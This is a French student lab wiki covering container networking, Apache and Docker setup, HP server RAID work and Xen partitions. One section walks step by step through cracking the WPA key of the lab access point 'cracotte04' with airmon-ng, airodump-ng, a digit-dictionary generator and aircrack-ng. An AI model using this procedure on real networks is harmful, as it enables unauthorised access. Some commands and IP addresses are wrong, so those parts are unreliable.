  unshare -n -u -p -f -m chroot /tmp/rootfs1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Les trois containers sont maintenant lancés, nous pouvons travailler dessus.&lt;br /&gt;
&lt;br /&gt;
==Mise en place du réseau==&lt;br /&gt;
&lt;br /&gt;
Nos containers étant lancés et fonctionnels, nous allons maintenant les connecter en réseau.&lt;br /&gt;
&lt;br /&gt;
===Création de 4 interfaces virtuelles===&lt;br /&gt;
&lt;br /&gt;
  ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
  ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
  ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
  ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
===Connexion de chaque interface à une interface eth0 sur les containers===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth0@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif2 netns /proc/&amp;lt;pid2&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif3 netns /proc/&amp;lt;pid3&amp;gt;/ns/net name eth0&lt;br /&gt;
&lt;br /&gt;
pid1, pid2, pid3 peuvent être déterminés via la commande :&lt;br /&gt;
  ps aux | grep unshare&lt;br /&gt;
&lt;br /&gt;
===Connexion à eth1 sur le premier container===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth1@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth1&lt;br /&gt;
&lt;br /&gt;
===Création d'un bridge===&lt;br /&gt;
&lt;br /&gt;
  ip link add interne type bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif4 à bridge===&lt;br /&gt;
L'interface eth0 de la zabeth est sur le bridge, on connecte donc vif4 à bridge&lt;br /&gt;
&lt;br /&gt;
  ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif1, vif2, vif3 à interne===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 master interne&lt;br /&gt;
  ip link set vif2 master interne&lt;br /&gt;
  ip link set vif3 master interne&lt;br /&gt;
&lt;br /&gt;
===Activation de toutes les interfaces===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 up&lt;br /&gt;
  ip link set vif2 up&lt;br /&gt;
  ip link set vif3 up&lt;br /&gt;
  ip link set bridge up&lt;br /&gt;
  ip link set interne up&lt;br /&gt;
&lt;br /&gt;
===Attribution des adresses ip===&lt;br /&gt;
&lt;br /&gt;
On commence par attribuer les ip de la forme 192.168.4.xxx aux interfaces connectées à bridge :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth0 192.168.4.1/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID2&amp;gt; -n ip address add dev eth0 192.168.4.2/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID3&amp;gt; -n ip address add dev eth0 192.168.4.3/24&lt;br /&gt;
&lt;br /&gt;
On attribue une ip vacante sur 172.26.145.xxx au container 1 sur l'interface eth1 :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth1 172.26.145.234/24&lt;br /&gt;
&lt;br /&gt;
===Activation des interfaces sur les containers&amp;gt;===&lt;br /&gt;
Sur chaque containers, lancer :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth0 up&lt;br /&gt;
  ip link set dev lo up&lt;br /&gt;
&lt;br /&gt;
Ainsi que sur le container 1 :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth1 up&lt;br /&gt;
&lt;br /&gt;
Les containers sont maintenant fonctionnels et connectés selon le schéma suivant :&lt;br /&gt;
&lt;br /&gt;
  bridge : eth0 eth1 vif4&lt;br /&gt;
&lt;br /&gt;
  interne : vif1 vif2 vif3&lt;br /&gt;
&lt;br /&gt;
Et donc :&lt;br /&gt;
 root@zabeth04:/home/pifou# brctl show&lt;br /&gt;
 bridge name	bridge id		STP enabled	interfaces&lt;br /&gt;
 br-d8330a30a134		8000.0242b8ae38c5	no&lt;br /&gt;
 bridge		8000.00224d7aeaa1	no		eth0&lt;br /&gt;
                                         eth1&lt;br /&gt;
                                         vif4&lt;br /&gt;
 docker0		8000.0242ad165937	no		veth0b1f71b&lt;br /&gt;
 interne		8000.3ee68d5b1e14	no		vif1&lt;br /&gt;
                                         vif2&lt;br /&gt;
                                         vif3&lt;br /&gt;
&lt;br /&gt;
=Séance 2 : TP ASR (suite)=&lt;br /&gt;
Lors de cette séance, nous allons configurer apache2 afin de pouvoir accéder à deux sites web différents hébergés sur les containers 2 et 3, et ce depuis des noms de domaine choisis.&lt;br /&gt;
&lt;br /&gt;
==Attribution des noms de domaine==&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir un nom de domaine, nous nous connections sur gandi.net.&lt;br /&gt;
&lt;br /&gt;
Onglet Domaines, on choisit le domaine plil.space.&lt;br /&gt;
&lt;br /&gt;
Onglet DNS Records, on ajoute un DNS type A :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham2&lt;br /&gt;
  IP : 172.26.145.234&lt;br /&gt;
&lt;br /&gt;
Puis on ajoute deux DNS type Cname :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham1 &amp;amp; tham3&lt;br /&gt;
  Nom d'hote : tham2&lt;br /&gt;
&lt;br /&gt;
De cette manière, nous pouvons maintenant accéder à 172.26.145.234 via tham1.plil.space et tham3.plil.space&lt;br /&gt;
&lt;br /&gt;
==Configuration d'apache2==&lt;br /&gt;
&lt;br /&gt;
===Fichier conf===&lt;br /&gt;
Les configurations de site se trouvent dans /etc/apache2/sites-available/, nous allons donc configurer 000-default.conf :&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  	ServerName tham1.plil.space&lt;br /&gt;
  	ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham1/&lt;br /&gt;
  &lt;br /&gt;
  	ProxyPass / http://192.168.4.2/&lt;br /&gt;
  	ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
  	ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  	CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName tham3.plil.space&lt;br /&gt;
      ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham3/&lt;br /&gt;
  	&lt;br /&gt;
      ProxyPass / http://192.168.4.3/&lt;br /&gt;
      ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
      ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
      CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On redirige tham1.plil.space vers le container 2 et tham3.plil.space vers le container 3 via leurs ip (192.168.4.2 et 192.168.4.3)&lt;br /&gt;
&lt;br /&gt;
===Activation des modules proxy et proxy_http===&lt;br /&gt;
&lt;br /&gt;
  a2enmod proxy&lt;br /&gt;
  a2enmod proxy_http&lt;br /&gt;
&lt;br /&gt;
===Activation du site===&lt;br /&gt;
&lt;br /&gt;
  a2ensite 000-default.conf&lt;br /&gt;
&lt;br /&gt;
Tout est maintenant configuré, on peut donc rebooter apache :&lt;br /&gt;
&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Création d'une page web===&lt;br /&gt;
&lt;br /&gt;
Dans les containers 2 et 3 on créé une simple page web et on reboot apache :&lt;br /&gt;
&lt;br /&gt;
Container 2 :&lt;br /&gt;
&lt;br /&gt;
  cat 1 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Container 3 :&lt;br /&gt;
&lt;br /&gt;
  cat 3 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Visualisation de la page web===&lt;br /&gt;
&lt;br /&gt;
On commence par désactiver le proxy sur firefox, et on peut accéder aux pages :&lt;br /&gt;
&lt;br /&gt;
  tham1.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 1&lt;br /&gt;
&lt;br /&gt;
  tham3.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 3&lt;br /&gt;
&lt;br /&gt;
==Création d'un conteneur avec Docker :==&lt;br /&gt;
Nos conteneurs et serveur web fonctionnent très bien, mais la procedure de création est relativement longue, c'est pour cela que nous allons utiliser Docker pour recréer nos conteneurs et les gérer.&lt;br /&gt;
&lt;br /&gt;
===Création d'une première image :===&lt;br /&gt;
Nous avons créé un premier container à l'aide la commande :&lt;br /&gt;
 docker run -i -t debian /bin/bash&lt;br /&gt;
Exporte de la variable d'environement hhtp_proxy :&lt;br /&gt;
 export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
Instalation d'un éditeur de texte et d'un serveur web :&lt;br /&gt;
 apt-get install nano vi apache2&lt;br /&gt;
&lt;br /&gt;
===Création de trois conteneurs dans un même réseau :===&lt;br /&gt;
Avec un &amp;lt;code&amp;gt;docker ps&amp;lt;/code&amp;gt; nous avons recupérer l'id du conteneur puis :&lt;br /&gt;
 docker commit -m &amp;quot;debian&amp;quot; 367f5e8adddf&lt;br /&gt;
Création d'un réseau :&lt;br /&gt;
 docker network create tham&lt;br /&gt;
Création des trois conteneurs à partir de l'image, en veillant à bien relier le port 80 du reverse proxy au port 80 de la machine : &lt;br /&gt;
 docker run --net tham -i -t b7f9916f224e /bin/bash&lt;br /&gt;
 docker run --net tham -i -t b7f9916f224e /bin/bash&lt;br /&gt;
 docker run --net tham -p 80:80 -i -t b7f9916f224e /bin/bash&lt;br /&gt;
Et donc :&lt;br /&gt;
 root@zabeth04:/home/pifou# docker ps&lt;br /&gt;
 CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                    NAMES&lt;br /&gt;
 8e4a821cf3a3        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              18 minutes ago      Up 18 minutes                                confident_leakey&lt;br /&gt;
 c5ec790866ae        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              19 minutes ago      Up 19 minutes                                objective_golick&lt;br /&gt;
 b287061163af        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              22 minutes ago      Up 22 minutes       0.0.0.0:80-&amp;gt;80/tcp       objective_bhabha&lt;br /&gt;
 8ee36885e7fb        registry:2          &amp;quot;/entrypoint.sh /etc…&amp;quot;   5 weeks ago         Up 38 minutes       0.0.0.0:5000-&amp;gt;5000/tcp   registry&lt;br /&gt;
&lt;br /&gt;
===Configuration de apache2 :===&lt;br /&gt;
Comme fait avant nous allons atribuer des noms de domaines aux adresse ip des conteneurs, sachant que l'adresse ip du DNS A est la même que l'adresse ip de la machine physique&lt;br /&gt;
Puis dans &amp;lt;code&amp;gt;/etc/apache2/sites-available/&amp;lt;/code&amp;gt; :&lt;br /&gt;
 &lt;br /&gt;
 root@zabeth04:/etc/apache2/sites-available# cat 000-default.conf&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
 	 ServerName tham1.plil.space&lt;br /&gt;
 	 ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
 	 DocumentRoot /var/www/html/tham1/&lt;br /&gt;
 &lt;br /&gt;
 	 ProxyPass / http://192.168.4.2/&lt;br /&gt;
 	 ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
 	 ProxyRequests Off&lt;br /&gt;
 &lt;br /&gt;
 	 ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
 	 CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
         ServerName tham3.plil.space&lt;br /&gt;
         ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
 	 DocumentRoot /var/www/html/tham3/&lt;br /&gt;
 &lt;br /&gt;
         ProxyPass / http://192.168.4.3/&lt;br /&gt;
         ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
         ProxyRequests Off&lt;br /&gt;
 &lt;br /&gt;
 	 ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
         CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 # vim: syntax=apache ts=4 sw=4 sts=4 sr noet&lt;br /&gt;
Après avoir modifer notre fichier html et relancer apache2, nous obtenant bien un résultat identique à celui d'avant.&lt;br /&gt;
&lt;br /&gt;
11h10 =&amp;gt; Serveurs Web OK (unshare)&lt;br /&gt;
&lt;br /&gt;
12h20 =&amp;gt; Serveurs Web OK (docker)&lt;br /&gt;
&lt;br /&gt;
=Séance 3 : TP PRA=&lt;br /&gt;
Le sujet choisi ici est le sujet n°10 : HP + DAS -&amp;gt; Baie.&lt;br /&gt;
Notre travail consiste à installer un OS Devuan sur un serveur HP et ensuite le connecter à un DAS HP.&lt;br /&gt;
&lt;br /&gt;
==Le matériel==&lt;br /&gt;
Le serveur est un HP ProLiant DL380 G5, ses caractéristiques sont les suivantes :&lt;br /&gt;
&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
&lt;br /&gt;
Le SAS est un HP StorageWorks MSA60.&lt;br /&gt;
Au départ nous pouvons voir qu'il est peuplé de 11 disques durs SATA classiques (pas comme le serveurs qui est peuplé de disques SATA dont le connecteur physique est spécifique HP). Chaque disque dur a une capacité de 1To.&lt;br /&gt;
&lt;br /&gt;
Sur le panneau arrière nous constatons qu'il  y a une redondance d'alimentations, et deux connecteurs SAS SFF-8088 (io/out)&lt;br /&gt;
&lt;br /&gt;
==Mise en route du serveur==&lt;br /&gt;
Lors de la mise en route du serveur, nous constations trois problèmes :&lt;br /&gt;
 -Les ventilateurs tournent à  100% sans arrêt.&lt;br /&gt;
 -La LED internal health clignote rouge.&lt;br /&gt;
 -Un bip long est émis périodiquement.&lt;br /&gt;
&lt;br /&gt;
De ce fait, nous avons ouvert le serveur, et une inspection visuelle montrera que ce dernier était dépourvu de RAM. Après consultation du manuel, nous avons vu que la RAM nécessaire était de la DDR2 ECC Registred.&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite monté 2x1Go de RAM sur le slot 1 et 3 correspondant au channel A.&lt;br /&gt;
&lt;br /&gt;
Une fois remonté, le serveur bootait correctement.&lt;br /&gt;
&lt;br /&gt;
==Installation de Devuan==&lt;br /&gt;
Le serveur peut booter sur un périphérique USB, nous avons donc récupéré une clé avec un Devuan bootable installé dessus. Après avoir mis la clé en premier boot dans le bios, le serveur boot sans souci sur la clé.&lt;br /&gt;
Le souci que nous allons rencontrer se trouve au moment du partitionnement. De vieilles grappes RAID sont toujours configurées et plus d'actualité, nous allons donc y remédier.&lt;br /&gt;
&lt;br /&gt;
Pour ce faire, nous entrons dans l'utilitaire de configuration RAID (au boot F9 puis F8), supprimons toutes les grappes existantes et en créons une nouvelle en RAID5.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, nous pouvons installer notre Devuan sur la grappe avec les configurations classiques (utilisateur pifou et mot de passe habituel).&lt;br /&gt;
&lt;br /&gt;
==Configurations réseau==&lt;br /&gt;
Dans un premier temps, nous avons raccordé l'interface réseau principale du serveur au réseau polytech.&lt;br /&gt;
&lt;br /&gt;
Nous avons trouvé une adresse ip disponible sur le réseau et l'avons configurée dans interfaces :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/network/interfaces&lt;br /&gt;
&lt;br /&gt;
Pour l'interface eth0 :&lt;br /&gt;
&lt;br /&gt;
  address 127.26.145.146/24&lt;br /&gt;
  gateway 192.26.145.253&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous avons configuré les DNS :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
  domain polytech-lille.org&lt;br /&gt;
  search deule.net&lt;br /&gt;
  nameserver 192.48.57.48&lt;br /&gt;
  nameserver 193.48.57.33&lt;br /&gt;
&lt;br /&gt;
Et enfin nous avons ajouté le proxy polytech :&lt;br /&gt;
&lt;br /&gt;
  nano ~/.profile&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
Une fois fait, notre serveur avait accès au réseau de polytech.&lt;br /&gt;
&lt;br /&gt;
==Mise en route du DAS==&lt;br /&gt;
Comme dit précédemment, le DAS et le serveur communiquent via un port SAS, or nous n'avions pas de câble. Nous avons donc lancé une commande de 4 câbles, et afin de pouvoir travailler, avons emprunté un cable dans le local technique.&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;br /&gt;
&lt;br /&gt;
Une fois les branchements effectués, nous pouvons mettre le DAS sous tension, celui ci démarre sans difficulté et les jeux de couleurs de leds nous montrent que certains disques peuvent être défectueux.&lt;br /&gt;
&lt;br /&gt;
Coté serveur, un lsblk nous montre que les disques ne sont pas encore visibles.&lt;br /&gt;
Afin d'y remédier, nous retournons dans l'utilitaire RAID du bios pour créer un RAID5 avec les disques présents.&lt;br /&gt;
&lt;br /&gt;
De retour sur devuan, la grappe est visible via lsblk.&lt;br /&gt;
&lt;br /&gt;
==Installation des outils HP==&lt;br /&gt;
HP fournit un outil en ligne de commandes nous permettant d'administrer les disques : ssacli.&lt;br /&gt;
&lt;br /&gt;
L'installation se fait via les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
Ajout du dépôt :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/apt/sources.list&lt;br /&gt;
&lt;br /&gt;
  deb http://downloads.linux.hpe.com/SDR/repo/mcp/ stretch/current non-free&lt;br /&gt;
  deb http://downloads.linux.hpe.com/SDR/repo/mcp/ precise/current non-free&lt;br /&gt;
&lt;br /&gt;
Ajout des clés :&lt;br /&gt;
&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey1024.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048_key1.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpePublicKey2048_key1.pub | apt-key add -&lt;br /&gt;
&lt;br /&gt;
Si curl n'est pas installé, vérifier que le dépot devuan est dans le fichier sources.list :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/apt/sources.list&lt;br /&gt;
&lt;br /&gt;
  deb http://deb.devuan.org/merged ascii main&lt;br /&gt;
  deb-src http://deb.devuan.org/merged ascii main&lt;br /&gt;
&lt;br /&gt;
Rafraîchir les sources :&lt;br /&gt;
&lt;br /&gt;
  apt-get update&lt;br /&gt;
&lt;br /&gt;
Installer curl :&lt;br /&gt;
&lt;br /&gt;
  apt-get install curl&lt;br /&gt;
&lt;br /&gt;
Réessayer d'ajouter les clés.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, on eut procéder à l'installation des outils HP :&lt;br /&gt;
&lt;br /&gt;
  apt-get install hp-health ssacli&lt;br /&gt;
&lt;br /&gt;
=Séance 4 : TP PRA (Suite)=&lt;br /&gt;
Dans un premier temps, nous commençons par remplacer les disques défectueux.&lt;br /&gt;
Grâce à la commande&lt;br /&gt;
&lt;br /&gt;
  ssacli ctrl all show config detail&lt;br /&gt;
&lt;br /&gt;
nous pouvons voir que deux disques sont en predictive failure (les disques 3 et 8) et un disque est HS (le disque 4).&lt;br /&gt;
&lt;br /&gt;
Nous procédons au remplacement par des disques neufs.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, nous ajoutons le disque 6 qui était manquant.&lt;br /&gt;
&lt;br /&gt;
Le nouveau disque en place, nous allons essayer de l'ajouter à la grappe existante.&lt;br /&gt;
&lt;br /&gt;
On entre dans le programme ssacli et on fait un premier était des lieux :&lt;br /&gt;
&lt;br /&gt;
  ctrl all show config&lt;br /&gt;
&lt;br /&gt;
Cela nous permet d'apprendre que nous avons notre grappe de 1TB en Array A et celle de 10TB en Array B, et que notre controlleur est sur le slot 4.&lt;br /&gt;
&lt;br /&gt;
On liste ensuite les disques physiques :&lt;br /&gt;
&lt;br /&gt;
  ctrl slot 4 pd all show&lt;br /&gt;
&lt;br /&gt;
Notre disque a ajouter est le 1E:1:6&lt;br /&gt;
&lt;br /&gt;
On l'ajoute alors a la grappe B :&lt;br /&gt;
&lt;br /&gt;
  array B add drives=1E:1:6&lt;br /&gt;
&lt;br /&gt;
Ceci nous retournera un message d'erreur nous indiquant que le cache est désactivé du fait que la batterie du contrôleur est morte. Ceci est visible en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
  show&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;br /&gt;
&lt;br /&gt;
Etant donné que nous n'avons pas de données  perdre sur les disques, nous allons supprimer la grappe existante et en recréer une nouvelle.&lt;br /&gt;
&lt;br /&gt;
  controller slot=4 array B delete&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 create type=ld drives=1E:1:1,1E:1:2,1E:1:3,1E:1:4,1E:1:5,1E:1:6,1E:1:7,1E:1:8,1E:1:9,1E:1:10,1E:1:11,1E:1:12 raid=5&lt;br /&gt;
&lt;br /&gt;
La grappe raid est créée avec succès, nous pouvons d'ailleurs suivre son état :&lt;br /&gt;
&lt;br /&gt;
  array B show&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 show config&lt;br /&gt;
&lt;br /&gt;
De cette manière nous pouvons voir que le disque rajouté au slot 6 est également en predictive failure.&lt;br /&gt;
&lt;br /&gt;
Nous procédons à son remplacement, et après quelque instants un show config nous montre que le raid est en reconstruction :&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 show config&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[fichier:Reconstruction raid.jpg|center|600px]]&lt;br /&gt;
&lt;br /&gt;
=Séance 5 : Mise en place du serveur DNS et crack WPA2=&lt;br /&gt;
&lt;br /&gt;
==Mise en place du serveur DNS==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Crack de réseau Wifi WPA==&lt;br /&gt;
Afin d'expérimenter le crack d'une clé WPA, nous allons travailler sur les points wifi cracotte avec la suite logicielle aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, nous faisons un ifconfig pour connaitre le nom de la carte wifi :&lt;br /&gt;
&lt;br /&gt;
[[fichier:Ifconfig.png|center]]&lt;br /&gt;
&lt;br /&gt;
Dans notre cas elle s'appelle wlp3s0.&lt;br /&gt;
&lt;br /&gt;
On commence par déconnecter la carte de tous les réseaux afin d'optimiser la vitesse des operations suivantes :&lt;br /&gt;
&lt;br /&gt;
  ifconfig wlp3s0 down&lt;br /&gt;
&lt;br /&gt;
On place la carte en &amp;quot;monitor mode&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start wlp3s0&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que l'interface est bien en monitor mode avec airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[fichier:Airmonng.png|center]]&lt;br /&gt;
&lt;br /&gt;
Une fois fait, on scanne les réseaux wifi a portée afin de connaitre les paramètres de notre cible :&lt;br /&gt;
&lt;br /&gt;
  airodump-ng mon0&lt;br /&gt;
&lt;br /&gt;
[[fichier:Airodump.png|center]]&lt;br /&gt;
&lt;br /&gt;
De ce scan, nous tirons plusieurs informations : &lt;br /&gt;
-Les cracottes sont disponibles, nous nous concentrons sur cracotte04.&lt;br /&gt;
-Nous notons son BSSID : 04:DA:D2:9C:50:53&lt;br /&gt;
-Son channel : 9&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant toutes les infos nécessaires pour récupérer le handshake avec aerodump :&lt;br /&gt;
&lt;br /&gt;
  airodump-ng -c 9 --bssid 04:DA:D2:9C:50:53 -w /home/thibault/wpa/ mon0&lt;br /&gt;
&lt;br /&gt;
[[fichier:Handshake2.png|center]]&lt;br /&gt;
&lt;br /&gt;
Après quelque instants nous pouvons voir que le handshake est récupéré. A partir de cet instant nous n'avons plus à interagir avec le réseau, tout ce qu'il nous faut est contenu dans le fichier *.cap généré par airodump.&lt;br /&gt;
&lt;br /&gt;
La dernière étape avant de lancer la procédure de brute-force est la génération du dictionnaire.&lt;br /&gt;
&lt;br /&gt;
Pour cet exercice, nous savons que le mot de passe est composé de exactement 8 chiffres. Un programme très simple réalisé en C permet de générer toutes les combinaisons :&lt;br /&gt;
&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  int main() {&lt;br /&gt;
  	for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
  		printf(&amp;quot;%08d\n&amp;quot;,i);&lt;br /&gt;
  	}&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  gcc -o dico dico.c&lt;br /&gt;
  ./dico &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
On remarque que le dictionnaire pèse déjà 900mo malgré le fait que nous avons déjà des informations nous permettant de limiter les possibilités.&lt;br /&gt;
&lt;br /&gt;
Le brute-force peut maintenant commencer :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng /home/thibault/wpa/-07.cap -w /home/thibault/wpa/dico.txt&lt;br /&gt;
&lt;br /&gt;
Une première estimation du pire temps nous indique 7h de traitement. Finalement après quelque heures, la solution est trouvée :&lt;br /&gt;
&lt;br /&gt;
[[fichier:Keyfound.png|center]]&lt;br /&gt;
&lt;br /&gt;
L'image ci dessus nous montre enfin la clé WPA de cracotte04.&lt;br /&gt;
Ce processus nous fait réaliser que la méthode de brute-force est très peu efficace (7h de traitement sur les zabeth), un mot de passe avec des caractères spéciaux, chiffres, majuscules, minuscules et beaucoup de caractères sera donc impossible à casser avec cette méthode.&lt;br /&gt;
&lt;br /&gt;
==Utilisation de partitions virtuelles==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie nous allons mettre en place des partitions virtuelles dans notre machine, ces partitions étant hébergées sur cordouan.&lt;br /&gt;
&lt;br /&gt;
On commence par créer les partitions sur cordouan :&lt;br /&gt;
&lt;br /&gt;
  lvcreate -L10G -n aphrodite-home virtual&lt;br /&gt;
  lvcreate -L10G -n aphrodite-var virtual&lt;br /&gt;
&lt;br /&gt;
  lvcreate -L10G -n aphrodite-part1 virtual&lt;br /&gt;
  lvcreate -L10G -n aphrodite-part2 virtual&lt;br /&gt;
  lvcreate -L10G -n aphrodite-part3 virtual&lt;br /&gt;
&lt;br /&gt;
On ajoute ces partitions dans /etc/xen/aphrodite.cfg :&lt;br /&gt;
&lt;br /&gt;
  disk = [&lt;br /&gt;
  		'file:/usr/local/xen/domains/Aphrodite/disk.img,xvda2,w',&lt;br /&gt;
  		'file:/usr/local/xen/domains/Aphrodite/swap.img,xvda1,w',&lt;br /&gt;
  		'phy:/dev/virtual/aphrodite-home,xvdb1,w',&lt;br /&gt;
  		'phy:/dev/virtual/aphrodite-var,xvdc1,w'&lt;br /&gt;
  		'phy:/dev/virtual/aphrodite-part1,xvdd1,w'&lt;br /&gt;
  		'phy:/dev/virtual/aphrodite-part2,xvde1,w'&lt;br /&gt;
  		'phy:/dev/virtual/aphrodite-part3,xvdf1,w'&lt;br /&gt;
  	 ]&lt;br /&gt;
&lt;br /&gt;
Les deux premières partitions serviront à var et home, et les trois suivantes serviront à créer un raid logiciel.&lt;br /&gt;
&lt;br /&gt;
Afin que les modifications soient effectives, on reboot la VM.&lt;br /&gt;
&lt;br /&gt;
===Var et Home===&lt;br /&gt;
&lt;br /&gt;
De retour sur la VM, on créé un système de fichiers sur /dev/xvdb1 et /dev/xvdc1 :&lt;br /&gt;
&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
  mkfs -t ext4 /dev/xvdc1&lt;br /&gt;
&lt;br /&gt;
Le home de notre VM étant vide, nous pouvons directement monter la nouvelle partition. Pour cela, on se rend dans /etc/fstab, et on modifie le point de montage existant du home :&lt;br /&gt;
&lt;br /&gt;
  /dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
C'en est tout pour le home, passons au var. La procédure sera légèrement différente dans le sens ou nous souhaitons sauver le contenu de notre var.&lt;br /&gt;
&lt;br /&gt;
Pour cela, nous allons créer un point de montage temporaire de notre nouvelle partition var :&lt;br /&gt;
&lt;br /&gt;
  mkdir /mnt_var&lt;br /&gt;
  mount /dev/xvdc1 /mnt_var&lt;br /&gt;
&lt;br /&gt;
Nous transférons le contenu de notre ancier dossier var dans la nouvelle partition précédemment montée :&lt;br /&gt;
&lt;br /&gt;
  cd /var&lt;br /&gt;
  cp -ax * /mnt_var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous faisons ensuite un backup de notre ancien dossier var :&lt;br /&gt;
&lt;br /&gt;
